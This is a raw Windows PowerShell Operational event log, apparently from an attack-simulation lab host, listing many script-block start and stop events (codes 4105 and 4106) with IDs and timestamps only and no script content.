Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051123
Keywords=None
Message=Started invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051122
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051121
Keywords=None
Message=Started invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051120
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051119
Keywords=None
Message=Started invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051118
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051117
Keywords=None
Message=Started invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051116
Keywords=None
Message=Completed invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051115
Keywords=None
Message=Started invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051114
Keywords=None
Message=Completed invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051113
Keywords=None
Message=Started invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051112
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051111
Keywords=None
Message=Started invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051110
Keywords=None
Message=Completed invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051109
Keywords=None
Message=Started invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051108
Keywords=None
Message=Completed invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051107
Keywords=None
Message=Started invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051106
Keywords=None
Message=Completed invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051105
Keywords=None
Message=Started invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051104
Keywords=None
Message=Completed invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051103
Keywords=None
Message=Started invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051102
Keywords=None
Message=Completed invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051101
Keywords=None
Message=Started invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051100
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051099
Keywords=None
Message=Started invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051098
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051097
Keywords=None
Message=Started invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051096
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051095
Keywords=None
Message=Started invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051094
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051093
Keywords=None
Message=Started invocation of ScriptBlock ID: d8ddfded-0148-4d63-91e6-b5f5d46550d3
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051092
Keywords=None
Message=Started invocation of ScriptBlock ID: 852c5173-36b9-40a2-872e-b59c72ede01d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051090
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051088
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051087
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051086
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051084
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051082
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051080
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051078
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051180
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051178
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051176
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051174
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
